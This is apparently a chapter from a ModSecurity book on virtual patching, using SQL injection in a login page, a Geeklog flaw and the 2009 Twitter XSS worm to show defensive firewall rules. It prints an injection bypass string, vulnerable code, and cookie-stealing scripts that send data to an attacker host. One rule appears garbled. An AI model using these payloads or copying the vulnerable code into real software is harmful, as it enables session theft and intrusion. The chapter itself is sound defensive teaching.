Chapter 5. Virtual Patching

In this chapter we will look at a technique called virtual patching, which is a method to fix, or patch, a vulnerability in a web application by using the ability of ModSecurity (or in general, any web application firewall) to block malicious requests.

Virtual patching relies on ModSecurity's ability to intercept requests before they reach your web application, and consists of writing rules that will intercept specific malicious requests before they get handled by your web application and have any chance to do damage. This allows you to fix vulnerabilities without touching any web application code, and indeed without even requiring you to understand how the web application code works—all that is required is knowledge of which kind of requests the web application is vulnerable to.

Why use virtual patching?

Traditional patch management is the practice of applying software fixes to a system to fix a bug or vulnerability. Virtual patching instead fixes the same problem by having ModSecurity intercept the offending requests before they can reach the vulnerable system. There are many advantages offered by virtual patching that make it an attractive option to traditional patching. Here are some of the best reasons to use virtual patching:

Speed

Applying a virtual patch is something that can be done in a very short amount of time, once you have details on a specific vulnerability. Traditional patching requires you to wait for a vendor-supplied fix, write one yourself or trust a third-party patch. Virtual patching puts the power back in your hands as there's no need to rely on any third party to finish writing a patch. This puts you ahead of the curve when it comes to securing your web services against attacks—something that really matters as speed can be critical when it comes to protect against newly discovered vulnerabilities.

Stability

Many things can go wrong when you apply traditional patches. Here are just a few things that make traditional patching less than optimal:

  • The patch has to be thoroughly tested to prevent any bugs from crippling your software

  • Systems or services may have to be taken offline for the patch to be applied

  • You have to have detailed knowledge about the system and the cause of the problem to be able to create a good patch

  • Patching is not easily undone

  • Patches have to be applied on all vulnerable systems

With virtual patching, there is no need to take your web application offline—something which can be prohibitively costly and disruptive to your site (and indeed often impossible—imagine a large site like Amazon having to take their entire site offline to hastily fix a security vulnerability).

In addition to not having to take your web application offline to fix it, if you are running ModSecurity in reverse proxy mode, the virtual patch can be used to protect all systems behind the proxy, which saves time and energy as you won't have to apply the patch on each individual system.

Finally, virtual patching solves the problem in question without any need to touch the web application code. This can be an advantage if there is legacy code involved or rewriting the existing code base is not immediately possible for other reasons.

Flexibility

A virtual patch can be applied in a matter of minutes, and can be "uninstalled" by simply commenting out the ModSecurity rules it consists of. This makes the virtual patch a safe option since it can always be disabled should it be found to cause any problems. It's also possible to use the geographical lookup capability of ModSecurity to implement the patch only for users from certain countries or regions, making it possible to deploy the patch in stages for separate groups of users.

Cost-effectiveness

It's usually cheaper to create a virtual patch as a temporary solution than say, pay an external consultant for creating an emergency software patch. That's not to say that the vulnerability shouldn't eventually be patched in the web application source code, but with a virtual patch in place it becomes possible to wait for a tested solution, such as a vendor-approved patch, to become available.

Creating a virtual patch

Typically, you will know that there is a need to apply a virtual patch because you are notified of a vulnerability in one of the following ways:

  • A bug report from users

  • A code review finds vulnerabilities in your code

  • The vendor of your web application releases a notice of a vulnerability

  • A new exploit is being used in the wild

  • You are being actively attacked

Of these alternatives, the last two options present an extra sense of urgency, as any vulnerabilities that have actual exploits available for them make it a certainty that a worm/attack tool will soon become available that automates the attack on a large scale.

Rather than wait before you are being attacked, it is of course always better to be ahead of the game and be aware of possible exploits before they start being used in the wild. Most vendors have a security notification email list, so make sure you're subscribed to that for any third-party web applications you are using. Other good places to learn about new security vulnerabilities are sites such as SecurityFocus (www.securityfocus.com), the Open Source Vulnerability Database at www.osvdb.org, and the Common Vulnerabilities and Exposures list at www.cve.org.

Custom-built web applications are less at risk of being exploited through automated tools, though the possibility still exists, particularly if there is a vulnerability in the underlying scripting platform (for example, PHP or JSP). For a custom-built application you will most likely have to find vulnerabilities by relying on user bug reports or code reviews (or an actual attack taking place, if you're unlucky).

When creating a virtual patch there are several pieces of information you need to be able to successfully deploy it:

  • What pages, locations or method calls in your web application are affected

  • Exactly what conditions trigger the exploit

  • A test case that you can run before and after patching to verify that the patch has been successful in blocking the vulnerability

The last point is important, because without a test exploit you will be unable to know if your virtual patch is working as intended. If the vulnerability was announced on a site such as SecurityFocus you may be able to find test exploits by carefully reading the vulnerability details for a link to a proof-of-concept site. Failing that, you can write your own test exploit by using the released details of the vulnerability. For custom web applications you should be able to write your own test case.

From vulnerability discovery to virtual patch: An example

Consider a simple login page written in JSP:

<%
connectToDatabase();
String username = request.getParameter("username");
String password = request.getParameter("password");
String query = String.format("SELECT * FROM user WHERE username = '%s' AND password = '%s'", username, password);
ResultSet rs = statement.executeQuery(query);
if (rs.first()) {
out.println("You were logged in!");
}
else {
out.println("Login failed");
}
%>

The above code retrieves the username and password from the parameters passed to the page (appropriately named username and password), and then looks them up in the database for a matching username entry that has the correct password. If a match is found, the login is successful and the user gets access to the restricted area.

Though the above might look like reasonable code, it actually suffers from a fatal flaw in the form of what is known as an "SQL injection" vulnerability. This type of vulnerability occurs when taking user-supplied data and using it in an SQL query without sanitizing the data. The problem is that specially crafted data that contains SQL commands can cause the query to do very unexpected things&mdash;even things such as dropping (which is SQL-speak for "deleting") tables or databases or revealing sensitive information.

In this case there are actually many things that a malicious user could do to wreak havoc with the database, and we will be looking at one aspect: how it would be possible to log in without knowing a valid username or password.

Normally, the username and password variables would contain only alphanumeric characters, and the resulting query would look like this:

SELECT * FROM user WHERE username = 'john' AND password = 'secret'

Notice that the username and password are surrounded by single quotes. What would happen if the supplied username actually contained a single quote character? That's right, it would end the username string in the SQL statement, and anything following the single quote would be interpreted as SQL command data. This is what the query looks like if we supply the username o'leary instead of john:

SELECT * FROM user WHERE username = 'o'leary' AND password = 'secret'

The SQL engine now thinks that the username is simply'o' since it interprets the single quote as ending the string. It now attempts to parse the remaining text as if it were valid SQL, but this will fail since leary' is not valid SQL syntax.

Using knowledge of this technique, the above page could be exploited by an attacker by supplying the following username:

test' OR 1=1; --

When this username is inserted into the SQL query, the query now looks as follows:

SELECT * FROM user WHERE username = 'test' OR 1=1; -- ' AND password = ''

The double dash (--) signifies the start of a comment in SQL, which means the rest of the line will be ignored by the database engine. So in effect, the query has now become this:

SELECT * FROM user WHERE username = 'test' OR 1=1;

The WHERE statement username = 'test' OR 1=1 will always evaluate to true, because of the clever crafting of the username using a quote to close the string and then adding OR 1=1. Since this is now an OR statement, either one of the conditions can be true for the entire statement to evaluate to true, and since 1 is always equal to 1, this makes the entire statement evaluate to true, meaning this will return all of the rows in the user table. This causes the attacker to be logged in without having to provide a valid username or password.

This is just one example of how this vulnerability can be exploited&mdash;there are many other and more insidious techniques that can be employed against pages vulnerable to SQL injection.

Creating the patch

In the best case scenario, you wouldn't learn about this kind of vulnerability by getting frantic phone calls from users saying that database tables have been deleted. Instead, perhaps the user with username oleary tried logging in using o'leary as his username, and discovered that this lead to an error (due to the single quote interfering with the SQL statement, as just described).

If this was a legacy web application that would be difficult to change (because you're not familiar with the language it was written in, or don't have appropriate permissions to modify it) then creating a virtual patch would be appropriate.

One approach would be to create a ModSecurity rule that disallows single quotes in the username argument:

<Location /login.jsp>
SecRule ' deny
</Location>

The above rule is enclosed within an Apache<Location> container, which in this case means that the rule will only apply to the page /login.jsp. The rule blocks access to the login page if the username contains one or more single quote characters. (The quote is escaped with a backslash since it is a special character and a quote character by itself would be interpreted as the start of a string by ModSecurity.)

This works as expected and will now block any username which contains a single quote&mdash;all without modifying a single line of code in the web application.

There is, however, an even better way to implement this virtual patch, and that is by using a rule based on a positive security model. This means that instead of blocking only what we know to be malicious, we explicitly allow only properly formatted usernames and passwords and block everything else.

Usernames typically only consist of letters and digits, perhaps with the addition of some extra characters like the underscore and dash characters. The following provides a positive security model rule that prevents SQL injection via the username argument:

<Location /login.jsp>
SecRule ARGS:username "!^[-a-zA-Z0-9_]+$" "deny"
</Location>

This rule denies access if an attempt is made to provide a username that consists of any characters except -, a-z, A-Z, 0-9, and _. Again, the rule is put inside an Apache<Location> container to apply only to the specified login page.

For passwords, the best choice is to not store them as plain text in the database, but instead first run them through a one-way cryptographic checksum function such as SHA-1. This makes it possible to let users select passwords containing any characters and lets us supply an SHA-1 value to the SQL query instead of user provided input. The less elegant option would have been to restrict the characters available to users when selecting their password&mdash;not the best of options since for best security you would typically want users to be able to select from as many characters as possible when choosing their passwords. This method of verifying passwords would eliminate SQL injection vulnerabilities through the password argument, since the database query would only ever contain SHA-1 checksums when authenticating the password.

An enhancement to the virtual patch is possible if we know that the page only takes the parameters username and password. In this case the patch could be amended to deny any attempts to access the page with any other argument names:

<Location /login.jsp>
SecRule ARGS:username "!^[-a-zA-Z0-9_]+$" "deny"
SecRule ARGS_NAMES "!^(username|password)$" "t:lowercase,deny"
</Location>

The rule added above checks ARGS_NAMES, which is a collection containing the names of the arguments provided to the page, and denies access if a name other than username or password is found. The transformation t:lowercase is applied to make sure argument names such as UserName and Password are not blocked.

Changing the web application for additional security

You may be wondering how to protect against SQL injection if the web application source code itself can be readily changed.

The virtual patching approach we just saw is effective in preventing SQL injections in a web application that is difficult to change for one reason or another. If the code in the web application can be readily changed then the virtual patch should be combined with changes made to the web application source code so that it is using SQL prepared statements, which provide effective protection against SQL injection attacks. A prepared statement looks like this:

SELECT * FROM user WHERE username = ? AND password = ?

The question marks act as placeholders for the actual variables, and will later be filled in by the database engine. The web application passes this string to a function that creates a prepared statement, and this statement can then be executed by providing the two missing variables when executing the query.

The advantage of this approach is that the database engine is inserting the variables into the right positions, and since it knows exactly what is SQL logic and where the variables go there is no risk of specially crafted variables breaking the statement in unexpected ways and leading to security problems.

An added bonus of using prepared statements is that a statement can be prepared once in the database engine and then be called many times with different variables&mdash;this leads to faster database queries.

Testing your patches

After a virtual patch has been applied you should test that it's working as intended by attempting to exploit the vulnerability and verifying that the exploit no longer works. If you created a test script to run against the vulnerability before implementing the virtual patch then this will be easy as all you have to do is run the script again and verify that the access attempt is being blocked by ModSecurity.

Equally important&mdash;if not even more so&mdash;is testing the functionality of your web application to make sure the virtual patch hasn't broken any functionality that was previously working. After all, the aim of applying the patch is to stop a vulnerability from being exploited, but not at the cost of breaking functionality that is critical for the proper operation of your web site. It's always a good idea to have a set of test cases ready to run against the web application to make sure it is working as intended.

Real-life examples

Now that we've learned about the theory behind virtual patching let's look at some examples of actual vulnerabilities and how they could be fixed with virtual patching. I've already mentioned some sites such as SecurityFocus that are helpful for keeping up to date with the latest security advisories, and that site comes in handy as a treasure trove to find examples to write about in this section.

Geeklog

One example of a vulnerability posted at SecurityFocus affects the content management system called "Geeklog". This is something you would run if you wanted an easy way to post content to your web site. Version 1.5.2 and earlier versions of Geeklog are vulnerable.

The following information was provided with the posting about the vulnerability:

Geeklog

Sound familiar? This vulnerability is based on the same kind of SQL injection attack that we just saw an example of in the previous section.

Now we know what type of vulnerability exists, but we don't know yet how it can be fixed. To find out how, we need to dig a bit deeper. The SecurityFocus page provides additional tabs&mdash;one of these is called "Solution". This sounds like a good place to look. This is what appears upon clicking on that tab:

Geeklog

So unfortunately it seems that there is no vendor-provided patch available to solve this problem yet. However, there is more than one way to skin a cat&mdash;let's look further and see if there aren't more details available on this. Clicking on the "Exploit" tab provides us with a link that has more detailed information about the exploit. In fact, we end up at a page containing excerpts from the Geeklog source code, which is written in the popular web scripting language PHP.

Here are two relevant functions from the source code (with some less relevant lines removed). Use the knowledge gained from the previous example on SQL injection and see if you can find the problem in the code:

function WS_authenticate() {
global $_CONF, $_TABLES, $_USER, $_GROUPS, $_RIGHTS, $WS_VERBOSE;
$uid = '';
$username = '';
$password = '';
$status = -1;
if (isset($_SERVER['PHP_AUTH_USER'])) {
$username = $_SERVER['PHP_AUTH_USER'];
$password = $_SERVER['PHP_AUTH_PW'];
}
}
function SEC_authenticate($username, $password, &$uid) {
global $_CONF, $_TABLES, $LANG01;
$result = DB_query("SELECT status, passwd, email, uid
FROM {$_TABLES['users']}
WHERE username='$username'
AND ((remoteservice is null) or (remoteservice = ''))");
$tmp = DB_error();
$nrows = DB_numRows($result);
if (($tmp == 0) && ($nrows == 1)) {
$U = DB_fetchArray($result);
$uid = $U['uid'];
if ($U['status'] == USER_ACCOUNT_DISABLED) {
return USER_ACCOUNT_DISABLED;
} elseif ($U['passwd'] != SEC_encryptPassword($password)) {
} elseif ($U['status'] == USER_ACCOUNT_AWAITING_APPROVAL) {
return USER_ACCOUNT_AWAITING_APPROVAL;
} elseif ($U['status'] == USER_ACCOUNT_AWAITING_ACTIVATION) {
DB_change($_TABLES['users'], 'status',
USER_ACCOUNT_ACTIVE, 'username', $username);
return USER_ACCOUNT_ACTIVE;
Geeklog, real-life examplessource code} else {
return $U['status'];
}
} else {
$tmp = $LANG01[32] . ": '" . $username . "'";
COM_errorLog($tmp, 1);
return -1;
}
}

We'll get to the answer in a minute, but first let's get a bit more familiar with what this code is doing, and the way in which it authenticates users.

HTTP authentication is a means by which a user identifies himself to a web site. You're probably familiar with it already&mdash;with this authentication mechanism, your web browser will pop up a window asking you to input a username and password for the web site you're visiting:

Geeklog

HTTP authentication is distinct from other sorts of login forms that a web page may use since it is actually a protocol defined by the HTTP standard. This means your browser handles the job of getting the username and password and supplying them in the appropriate format to the web server.

The fields $_SERVER['PHP_AUTH_USER'] and $_SERVER['PHP_AUTH_PW'] contain the username and password passed via HTTP authentication to the web page. This would be anything provided in the User name and Password input fields in the screenshot above.

Now let's see if you were able to spot the problem with the code. The SQL injection vulnerability exists in this line of source code:

$result = DB_query("SELECT status, passwd, email, uid
FROM {$_TABLES['users']}
WHERE username='$username'
AND ((remoteservice is null) or (remoteservice = ''))");

We can see that the SQL query includes the username via the $username variable. The $username variable was previously assigned like this:

$username = $_SERVER['PHP_AUTH_USER'];

As we have learned, $_SERVER['PHP_AUTH_USER'] contains the username exactly as provided in the web browser's input field for HTTP authentication. This means that no filtering of potentially dangerous username strings is taking place, and the username is inserted into the SQL query exactly as provided by the user. This is the classic scenario for an SQL injection vulnerability, and indeed, this makes the Geeklog web application vulnerable to attack by anyone who is aware of this problem and who has a rudimentary knowledge of SQL injection techniques.

If you were running Geeklog on your site and had just become aware of this vulnerability, the fact that there was no vendor-released patch available at the time of the disclosure means that you would have to do one of the following to fix the problem:

  • Find and fix the problem yourself

  • Pay a consultant to fix the problem

  • Rely on third-party patches which may or may not work as intended

  • Create a virtual patch using ModSecurity

The first three options require modifications to the Geeklog source code, and may create additional problems such as preventing you from being unable to apply future patches or updates, if for example they rely on the diff utility (which is a utility to display the differences between files) to identify sections of code to be changed. The last option&mdash;using ModSecurity to apply a virtual patch&mdash;is attractive since it requires no changes to source code, works straight away, and still allows you to apply the official, vendor-approved patch once it becomes available. Knowing this, let's create a virtual patch using ModSecurity to fix this particular vulnerability.

Patching Geeklog

As we have learned, a test case for the vulnerability can be really useful since it will allow us to verify that our patch is working. A good candidate for a test case is providing a username consisting of a single quote character ('). As we know, this will cause the SQL syntax to be invalid and will therefore trigger an error when submitted to the login page. This makes this an excellent test case to see whether the vulnerability has been fixed after applying the virtual patch.

A quick fix to shore this hole up while waiting for an official patch would be to only allow usernames and passwords consisting of characters that we explicitly allow&mdash;just as in the previous example.

To create a virtual patch for this, we need to know a little about how HTTP authentication works. In the form known as "basic" HTTP authentication, the Authorization header sent in the HTTP request contains a Base64-encoded version of the username and password (with a colon in between). So if you entered the username test and password happy then your web browser would Base64-encode the string test:happy and send that in the authorization header. This is what the header would look like:

Authorization: Basic dGVzdDpoYXBweQ==

If we could only decode the Base64-encoded string, we would be able to create a virtual patch for this by making sure the username and password only contained allowed characters. Luckily, ModSecurity has a transformation function we can use for this&mdash;it is the appropriately named base64Decode function. All we need to do is create a rule chain consisting of two rules, capture the Base64-encoded string in a regular expression (using the capture action) and then use the next rule to check the decoded string to make sure it matches the regular expression of our choice.

This is what the rule chain looks like:

SecRule REQUEST_HEADERS:Authorization "Basic (.*)" "phase:1,deny,chain,capture"
SecRule TX:1 "!^[-a-zA-Z0-9_]+:[-a-zA-Z0-9_]+$" "t:base64Decode"

These two rules patch the vulnerability by only allowing usernames and passwords that match the regular expression in the second rule.

Now the patch can be tested by again submitting a username consisting of a single quote character and checking for an error message. If the patch is working this will result in a 403&mdash;Forbidden page being displayed (assuming the default deny status code is 403).

The vulnerability was eventually fixed with the release of Geeklog 1.5.2 SR3. The code that assigns the $username variable now reads as follows:

$username = COM_applyBasicFilter($_SERVER['PHP_AUTH_USER']);

The username as provided by the user is now filtered through a function called COM_applyBasicFilter to remove troublesome characters that can lead to SQL injection exploits.

Cross-site scripting

Another class of vulnerability that showcases the dangers of trusting unsanitized user data is the cross-site scripting vulnerability (often abbreviated XSS). This type of attack is not aimed directly at the server on which the web site resides, but against the users of the site. Using an XSS vulnerability, it is possible for an attacker to steal usernames, passwords, cookies and other data associated with a user's web session and account.

The attack is possible if a server-side script includes unsanitized user data in the pages that are generated for users. Most users have scripting enabled in their browser, and if an attacker can get the server to include script code via for example an argument value passed to the server in a link then the user's browser will download the page and execute that code as if it was a legitimate part of the web site.

One simple example of this type of vulnerability waiting to be exploited is any web site that has a "guestbook" to allow visitors to leave short messages for the site owner and other users. If the guestbook entries are accepted without any filtering, entries such as the following will pose a problem:

<script>
document.write("<img src=http://attackerspage.com/" +
escape(document.cookie) + ">");
</script>

This is a piece of JavaScript code that writes an HTML<img> tag to the document. The address of the image is constructed of two parts:

  1. The address to a web site controlled by the attacker.

  2. An URL encoded string containing the user's cookie data.

The JavaScript method document.cookie is used to read the cookies stored for the trusted web page. Anyone who visits the site with the guestbook will execute this piece of JavaScript (assuming they have scripting enabled, which almost every user does).

The script writes an<img> tag that looks like this to the source code of the web page:

<img src=http://attackerspage.com/SESSIONID=d79b714248c8a3a6d>

So what, you may ask&mdash;what harm can an extra<img> tag do? The trick is that the user's browser attempts to load an image from the provided address, and these requests show up in the web server log on the site controlled by the attacker. Even though there won't be an actual image at the specified location, the attacker will have gotten access to the cookie information of every user browsing the site by looking at his web server log files.

This is what a log file entry could look like on the attacker's site:

host9892.victim.com - - [14/Apr/2009:10:17:16 -0500] "GET
/SESSIONID=d79b714248c8a3a6d HTTP/1.0" 200 6879 "-" "
Mozilla/5.0 (Windows; U; Windows NT 5.1)" attackerspage.com

All of the cookie data will be conveniently available to the attacker in the URI of the GET request. If any passwords are stored in the cookies for the site with the guestbook, this could be exploited by the attacker to gain access to the user's account.

The thing to be aware of, and what makes this sort of attack work is inclusion of user-supplied data into a web page (either dynamically via an argument, or statically via data stored in things such as forum or guestbook books). The unsanitized data can contain script code which is then sent to visitors of the site and executes with the site's privilege level in the web browser. Let's look at a way such an attack was carried out against one of the largest blogging sites on the net.

Real-life example: The Twitter worm

Twitter is a micro-blogging service that allows users to post short text updates&mdash;colloquially known as "tweets"&mdash;to their user page for friends, family and other interested parties to read. The service really took off in late 2008 and in April 2009 had over five million users.

On April 11, 2009, a worm exploiting a cross-site scripting vulnerability hit Twitter, causing tens of thousands of tweets that advertised a web page belonging to a competitor to Twitter. These tweets were posted under normal user accounts, but without the authorization or involvement of the account owners.

The worm used a JavaScript file located on a server controlled by its creator to extract the username of any twitter user who visited a compromised Twitter profile page by having the script search through the user's Twitter cookies. The code also extracted a hidden form field called form_authenticity_token, which is required to post any tweets or update the user profile page.

The JavaScript code, when executed, used the username and authenticity token to do two things:

  1. Post a tweet with a link to the advertised web site under the account of the unsuspecting Twitter user browsing the site.

  2. Update the profile page of the user browsing the site to include a<script> tag linking to the malicious JavaScript file.

The second step is what caused the worm to spread as more and more Twitter users got infected with the offending code while visiting each others' profile pages.

The payload of the worm used the XMLHttpRequest function to issue an Ajax HTTP POST to the location /account/settings on Twitter's servers. The malicious script tag was passed to the update page via the user[url] argument name, causing the profile page's URL string to contain the link to the malicious script. This update was done with the following line of code:

ajaxConn1.connect("/account/settings", "POST",
"authenticity_token="+authtoken+"&
user[url]="+xss+"&
tab=home&
update=update");

The malicious script tag is contained in the appropriately named xss variable. This variable is set in the script using the following line of code:

var xss = urlencode('http://[advertised-site]"></a><script src="http://[other-site]/x.js"></script><a '),

This uses a function to URL encode the string containing the malicious<script> tag. This function replaces certain special characters with their URL encoded version, for example< is replaced with %3C and> with %3E.

Taken together, this is enough information to write a virtual patch to prevent this worm from spreading:

<Location /account/settings>
SecRule ARGS:^user "(%3C|%3E)" deny
</Location>

The rule uses the regular expression (%3C|%3E) to block any attempts at using these offending URL encoded characters when updating argument names that begin with the string user. A simple yet effective patch that stops this particular worm cold in its tracks using a ModSecurity rule that can be written in mere minutes.

An additional interesting point about this worm is that it also collects the user's Twitter username and cookie data and sends them off to a server controlled by the attacker. This is done using a technique very similar to the one we saw in the previous section. This is the code that is used by the script to send this cookie data to the attacker:

var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://[attackers-site]/x.php?c=" + cookie + "&username=" + username + "'>");

The<img> tag contains a link to a PHP script that takes the argument c, which in this case will contain the URL encoded cookie data. The fact that an<img> tag links to a PHP script doesn't matter to web browsers&mdash;they will happily perform the required GET request, passing the cookie data as an argument to the PHP script. The attacker presumably has the PHP script set up to write the cookie information to a text file or database, sparing him the additional work of having to parse his web server log files to extract the captured data.

Summary

In this chapter we learned about virtual patching, and how it is a useful technique to patch specific vulnerabilities in web applications. We learned about the advantages of using virtual patching over traditional patching and saw examples of implementing virtual patches using ModSecurity. We also looked at real-life examples of the kind of attacks that virtual patching can prevent, such as the Geeklog SQL injection vulnerability and the worm that hit the micro-blogging service Twitter in April 2009.

In the next chapter we will be learning about even more web security vulnerabilities and ways they can be blocked using ModSecurity, so get ready to dive head first into the world of black-hat hackers, security vulnerabilities and counter-measures

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.116.23.112